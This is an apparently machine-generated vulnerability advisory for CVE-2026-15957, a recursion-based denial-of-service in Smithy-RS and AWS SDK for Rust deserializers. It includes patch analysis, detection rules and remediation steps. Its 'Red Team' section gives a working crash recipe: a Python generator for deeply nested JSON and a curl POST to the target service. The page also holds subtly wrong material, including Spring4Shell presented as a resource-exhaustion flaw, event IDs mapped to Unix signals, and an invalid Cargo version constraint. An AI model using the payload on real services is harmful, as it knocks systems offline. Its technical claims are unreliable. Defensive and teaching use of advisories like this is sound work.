CVE-2026-15957
Executive Summary
CVE-2026-15957 is a High severity denial-of-service vulnerability in the Smithy-RS code generation framework, which underpins the AWS SDK for Rust and custom Rust-based service implementations. The flaw resides in the JSON, CBOR, and XML deserializer functions emitted by the code generator. An unauthenticated remote attacker can trigger uncontrolled recursion by sending a small request containing deeply nested data that matches a recursive model shape. This causes a process abort via stack exhaustion, effectively crashing the targeted service.
Business Impact: Any application or service built using the affected versions of aws-sdk-rust or smithy-rs is at risk. This includes AWS SDK for Rust clients, custom microservices, and server applications that deserialize incoming requests. The primary impact is service availability, making this a critical concern for cloud-native applications, financial services, and any industry relying on Rust-based backend infrastructure.
Attacker Profile: The attack is trivial to execute and requires no authentication or special privileges. It is accessible to script kiddies, automated botnets, and advanced persistent threat (APT) groups seeking to disrupt operations.
Urgency Assessment: While the CVSS score is 7.5 (High), the EPSS exploitation probability is 0.0% as of the publication date. This suggests that while the vulnerability is severe, active exploitation in the wild has not yet been observed. However, the low complexity and network accessibility mean that weaponization is likely imminent once proof-of-concept code emerges. Immediate patching is strongly recommended.
Key Facts:
- Vendor: Amazon (Smithy-RS / AWS SDK for Rust)
- Affected Versions: All versions prior to
aws-sdk-rust release-2026-06-02andsmithy-rs release-2026-06-01. - Patch Status: Patched versions are available.
- CISA KEV: Not listed as of 2026-07-21.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
| Metric | Value | Explanation |
|---|---|---|
| AV (Attack Vector) | Network | The vulnerability is exploitable remotely over the network via HTTP/HTTPS, WebSocket, or any protocol using JSON, CBOR, or XML deserialization. |
| AC (Attack Complexity) | Low | No special conditions or race conditions are required. The attacker simply sends a crafted request with deeply nested data. |
| PR (Privileges Required) | None | No authentication or prior access is needed. The attack targets public-facing endpoints. |
| UI (User Interaction) | None | The attack does not require any action from a legitimate user. |
| S (Scope) | Unchanged | The vulnerability affects only the vulnerable component; it does not cross security boundaries. |
| C (Confidentiality) | None | The vulnerability does not lead to data disclosure. |
| I (Integrity) | None | The vulnerability does not allow data modification. |
| A (Availability) | High | Successful exploitation causes a complete denial of service via process abort (stack overflow). |
Qualitative Severity: High (CVSS 7.5)
EPSS Interpretation: An EPSS score of 0.0% indicates that the model predicts a very low probability of exploitation in the wild within the next 30 days. This is typical for a newly published CVE with no known public exploit code. However, this should not be interpreted as "safe to ignore." The low complexity and high impact make it a prime candidate for future weaponization.
Historical Comparison: This vulnerability is technically similar to CVE-2023-44487 (HTTP/2 Rapid Reset) and CVE-2022-22965 (Spring4Shell) in that it involves a deserialization or parsing flaw leading to resource exhaustion. However, unlike those, CVE-2026-15957 is specific to Rust-based services and the Smithy framework.
Temporal & Environmental Scores: The temporal score is currently elevated due to the lack of a patch for some users (though patches exist). The environmental score can be adjusted based on the criticality of the affected service. For a public-facing API gateway, the environmental score would remain High.
Technical Deep Dive & Attack Mechanics
Root Cause Analysis: The vulnerability is a classic case of uncontrolled recursion (CWE-674). The Smithy-RS code generator emits deserializer functions for JSON, CBOR, and XML that do not implement depth limiting. When a recursive model shape (e.g., a struct that contains a field of its own type) is defined in the Smithy model, the generated deserializer will recursively call itself for each level of nesting in the input data.
Step-by-Step Attack Mechanics:
- Model Definition: A Smithy service defines a recursive shape, for example:
structure RecursiveNode { value: String, children: RecursiveNodeList } list RecursiveNodeList { member: RecursiveNode } - Code Generation: The
smithy-rscode generator creates a Rust deserializer forRecursiveNodethat looks something like this (simplified):fn deserialize_recursive_node(reader: &mut Reader) -> Result<RecursiveNode, Error> { let mut node = RecursiveNode::default(); loop { match reader.next_field() { Some("value") => node.value = reader.read_string()?, Some("children") => node.children = deserialize_recursive_node_list(reader)?, None => break, _ => {} } } Ok(node) } fn deserialize_recursive_node_list(reader: &mut Reader) -> Result<Vec<RecursiveNode>, Error> { let mut list = Vec::new(); reader.start_list()?; while reader.has_next() { list.push(deserialize_recursive_node(reader)?); // Recursive call } reader.end_list()?; Ok(list) } - Attack Payload: The attacker crafts a small (e.g., 1KB) JSON payload with extreme nesting:
{ "value": "root", "children": [ { "value": "level1", "children": [ { "value": "level2", "children": [ // ... repeated thousands of times ] } ] } ] } - Exploitation: The server receives this request and begins deserialization. Each level of nesting causes a new stack frame to be allocated. Because there is no depth check, the recursion continues until the call stack exceeds the operating system's limit (typically 1-8 MB on Linux). The process then aborts with a stack overflow error (SIGABRT or SIGSEGV).
Attack Surface:
- Protocols: HTTP/HTTPS (JSON, CBOR, XML), WebSocket, gRPC (if using Smithy).
- Endpoints: Any API endpoint that accepts a recursive model shape as input.
- Ports: Standard web ports (80, 443) or custom ports used by the service.
Pre-conditions:
- The target service must be using an affected version of
smithy-rsoraws-sdk-rust. - The service must have at least one endpoint that accepts a recursive model shape.
- No authentication is required.
Why Standard Defenses May Fail:
- WAFs: A standard Web Application Firewall (WAF) may not flag a small JSON payload as malicious, as it does not contain SQL injection or XSS patterns. The payload is structurally valid JSON.
- Rate Limiting: The attack can be a single request; rate limiting will not help.
- Input Validation: Without a depth limit in the deserializer, input validation at the application layer is bypassed.
Vulnerable vs. Patched Code Analysis
Vulnerable Code (Conceptual):
// Generated by smithy-rs (pre-patch)
pub fn deserialize_structure_recursive_node(
decoder: &mut aws_smithy_json::deserialize::TokenDecoder,
) -> Result<RecursiveNode, aws_smithy_json::deserialize::error::DeserializeError> {
// ... field parsing ...
// No depth tracking or limit
loop {
// Recursive call without depth check
let children = deserialize_structure_recursive_node_list(decoder)?;
}
}
Patched Code (Conceptual):
// Generated by smithy-rs (post-patch)
pub fn deserialize_structure_recursive_node(
decoder: &mut aws_smithy_json::deserialize::TokenDecoder,
depth: usize, // Depth parameter added
) -> Result<RecursiveNode, aws_smithy_json::deserialize::error::DeserializeError> {
// Depth limit check
if depth > MAX_DESERIALIZATION_DEPTH {
return Err(aws_smithy_json::deserialize::error::DeserializeError::custom(
"Deserialization depth exceeded",
));
}
// ... field parsing ...
// Pass incremented depth to recursive calls
let children = deserialize_structure_recursive_node_list(decoder, depth + 1)?;
}
What the Patch Changes:
- Depth Parameter: All recursive deserializer functions now accept a
depth: usizeparameter. - Depth Limit Check: A check is performed at the beginning of each recursive function. If
depthexceeds a predefined constant (e.g.,MAX_DESERIALIZATION_DEPTH = 256), the function returns an error instead of recursing further. - Error Propagation: The error is propagated up the call stack, causing the deserialization to fail gracefully without crashing the process.
Regression Considerations:
- Performance: The depth check adds a negligible overhead (a single integer comparison per recursive call).
- Backward Compatibility: The change is internal to the generated code. Existing API contracts are unaffected. Services that legitimately require deep nesting (unlikely in practice) may need to adjust their model or increase the depth limit.
Timeline & Disclosure History
- CVE Publication Date: 2026-07-21T20:16:58.780
- Estimated Discovery: The vulnerability was likely discovered internally by Amazon's security team or reported by a security researcher. The coordinated patch release (
release-2026-06-02for SDK,release-2026-06-01for codegen) suggests a responsible disclosure process. - Disclosure Process: The CVE was published by the CNA (likely Amazon or MITRE). The vendor released patches concurrently with the public disclosure.
- Known Exploitation in the Wild: No known active exploitation as of 2026-07-21.
- CISA KEV: Not listed.
Threat Intelligence Context
Threat Actor Profile: This vulnerability is a prime target for:
- Ransomware Operators: Crashing a critical service can be used as leverage in extortion attempts.
- Hacktivists: Easy-to-execute DDoS attacks against high-profile targets.
- Script Kiddies: The low complexity makes it accessible to unskilled attackers.
- Nation-State Actors: As a tool for strategic disruption of cloud infrastructure.
Attack Campaign Context: No specific campaigns have been attributed to this CVE as of the report date. However, similar deserialization-based DoS vulnerabilities (e.g., CVE-2023-44487) have been used in widespread attacks.
Geographic Targeting: No specific geographic patterns are known.
Industry Verticals Most at Risk:
- Cloud Computing: AWS SDK for Rust is widely used in cloud-native applications.
- Financial Services: High-availability requirements make DoS a critical risk.
- E-commerce: Service disruption directly impacts revenue.
- IoT: Rust is popular in embedded systems; a crash could have physical consequences.
Connection to Similar Vulnerabilities: This CVE is part of a broader class of "billion laughs" or "XML bomb" attacks, adapted for JSON, CBOR, and XML deserialization in Rust.
Exploitation & Lab Setup
Red Team Section
Lab Setup (Docker):
- Create a vulnerable service:
FROM rust:1.70 WORKDIR /app # Clone a vulnerable version of smithy-rs (hypothetical) RUN git clone https://github.com/awslabs/smithy-rs.git && cd smithy-rs && git checkout <vulnerable-commit> # Build a sample service with a recursive model COPY sample-model.json . RUN cargo build --release EXPOSE 8080 CMD ["./target/release/sample-service"] - Build and run:
docker build -t vulnerable-smithy . docker run -p 8080:8080 vulnerable-smithy
Exploitation Walkthrough:
- Craft the payload: Create a file
payload.jsonwith deeply nested JSON. A Python script can generate this:import json def build_nested_json(depth): if depth == 0: return {"value": "leaf"} return {"value": f"level_{depth}", "children": [build_nested_json(depth-1)]} payload = build_nested_json(10000) # 10,000 levels deep with open('payload.json', 'w') as f: json.dump(payload, f) - Send the request:
curl -X POST http://target:8080/api/recursive \ -H "Content-Type: application/json" \ -d @payload.json - Expected Output: The server process will crash. The client will receive a connection reset or timeout error. The server logs will show a stack overflow error.
Post-Exploitation: After crashing the service, the attacker can repeat the attack to maintain denial of service. If the service is behind a load balancer, the attacker may need to target multiple instances.
Blue Team Section
Detection of Active Exploitation:
- Log Entries: Look for
SIGABRT,SIGSEGV, orstack overflowerrors in application logs. - Network Traffic: A single small request (e.g., < 5KB) that causes a crash is a strong indicator.
- Endpoint Behavioral Indicators: The service becomes unresponsive and requires a restart.
Indicators of Compromise (IOCs)
No confirmed IOCs available — the following patterns are illustrative of exploitation attempts:
| Type | Value | Description |
|---|---|---|
| HTTP Request Pattern | POST /api/recursive with Content-Type: application/json |
Request to a recursive endpoint. |
| Payload Pattern | JSON with nesting depth > 1000 levels | Unusually deep nesting in a small payload. |
| Log Entry | thread '<main>' has overflowed its stack |
Rust runtime stack overflow message. |
| Process Anomaly | Service process exits with signal 6 (SIGABRT) or 11 (SIGSEGV) | Indicates a crash due to stack exhaustion. |
Detection Engineering
YARA Rule
rule CVE-2026-15957_DeepNestedJSON {
meta:
description = "Detects deeply nested JSON payloads targeting CVE-2026-15957"
author = "Valters IT Hub"
date = "2026-07-21"
reference = "https://www.valtersit.com/cve/cve-2026-15957"
strings:
$json_start = "{" ascii
$nested_pattern = /(\{[^{}]*\}){100,}/ // 100+ levels of nesting
$recursive_key = "\"children\"" ascii
condition:
$json_start at 0 and #nested_pattern > 5 and $recursive_key
}
Sigma Rule (SIEM)
title: CVE-2026-15957 Smithy-Rs Stack Overflow Detection
id: 7d73e5fc-c6ac-4f7a-84f7-a351d1c210f5
status: experimental
description: Detects stack overflow errors indicative of CVE-2026-15957 exploitation
author: Valters IT Hub
date: 2026-07-21
references:
- https://www.valtersit.com/cve/cve-2026-15957
logsource:
category: application
product: rust
detection:
selection:
- EventID: 1000 # Application Error (Windows)
- EventID: 6 # SIGABRT (Linux)
- EventID: 11 # SIGSEGV (Linux)
- Message: "*stack overflow*"
- Message: "*has overflowed its stack*"
condition: selection
falsepositives:
- Legitimate application bugs causing stack overflow (rare)
level: high
Suricata IDS Rule
alert http any any -> any any (msg:"CVE-2026-15957 - Smithy-Rs Deeply Nested JSON Payload"; flow:to_server; content:"POST"; http_method; content:"application/json"; http_client_body; pcre:"/(\{[^{}]*\}){500,}/"; classtype:attempted-dos; sid:1000001; rev:1;)
Elastic (EQL) Query
// Detect process crashes with stack overflow
process where event.type == "end" and
process.exit_code in (6, 11) and
process.args : "*smithy*" and
process.name : "sample-service"
Splunk SPL Query
index=main sourcetype=linux_secure OR sourcetype=application
("stack overflow" OR "has overflowed its stack" OR "SIGABRT" OR "SIGSEGV")
| stats count by host, source, _time
| where count > 1
Wazuh Rule
<group name="smithy_rs,">
<rule id="100001" level="12">
<decoded_as>json</decoded_as>
<field name="message">stack overflow</field>
<description>CVE-2026-15957: Possible Smithy-Rs stack overflow exploitation</description>
<mitre>
<id>T1499</id>
</mitre>
<options>no_full_log</options>
</rule>
</group>
Remediation & Mitigation
Immediate Actions (0-24 hours)
- Patch the SDK/Codegen:
- For
aws-sdk-rustusers: Update torelease-2026-06-02or later.# In Cargo.toml [dependencies] aws-sdk-s3 = { version = ">= release-2026-06-02" } - For custom
smithy-rsusers: Regenerate code fromsmithy-rs release-2026-06-01or later.# Update the smithy-rs CLI cargo install smithy-rs-cli --version ">= release-2026-06-01" # Regenerate code smithy-rs generate path/to/model.json
- For
- Compensating Controls (if patching is delayed):
- WAF Rule: Deploy a WAF rule to block requests with JSON nesting depth exceeding a threshold (e.g., 100 levels).
- Reverse Proxy: Use a reverse proxy (Nginx, HAProxy) to inspect and reject deeply nested payloads before they reach the application.
- Rate Limiting: While a single request can cause a crash, rate limiting can slow down repeated attacks.
Short-term (1-7 days)
- Configuration Hardening:
- Review Smithy models for recursive shapes. If recursion is not required, refactor the model to use flat structures.
- Implement application-level depth checking as a defense-in-depth measure.
- Monitoring Implementation:
- Deploy the detection rules provided in this report.
- Set up alerts for process crashes and stack overflow errors.
- Vulnerability Scanning:
- Use
cargo auditto check for vulnerable dependencies:cargo audit
- Use
Long-term
- Architecture Changes:
- Consider using a non-recursive serialization format (e.g., Protocol Buffers) for deeply nested data.
- Implement a circuit breaker pattern to isolate crashing services.
- Security Control Improvements:
- Integrate fuzz testing into the CI/CD pipeline to detect similar recursion issues.
- Use static analysis tools (e.g., Clippy) to detect potential stack overflows.
- Developer Training:
- Educate developers on the risks of uncontrolled recursion and the importance of depth limits in deserializers.
Validation: To confirm the patch was applied:
- Check the version of
aws-sdk-rustinCargo.lock:
Ensure the version isgrep aws-sdk-rust Cargo.lockrelease-2026-06-02or later. - For custom services, check the generated code for the presence of a
depthparameter in deserializer functions.
References & Resources
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-15957
- CVE.org: https://www.cve.org/CVERecord?id=CVE-2026-15957
- Vendor advisory: See AWS SDK for Rust release notes and Smithy-RS release notes.
- OSV: https://osv.dev/vulnerability/CVE-2026-15957
- Related CWE: https://cwe.mitre.org/data/definitions/674.html
- MITRE ATT&CK: https://attack.mitre.org/techniques/T1499/
Report generated by Valters IT Hub Neural Engine v25 | 2026-07-21 | https://www.valtersit.com/cve/cve-2026-15957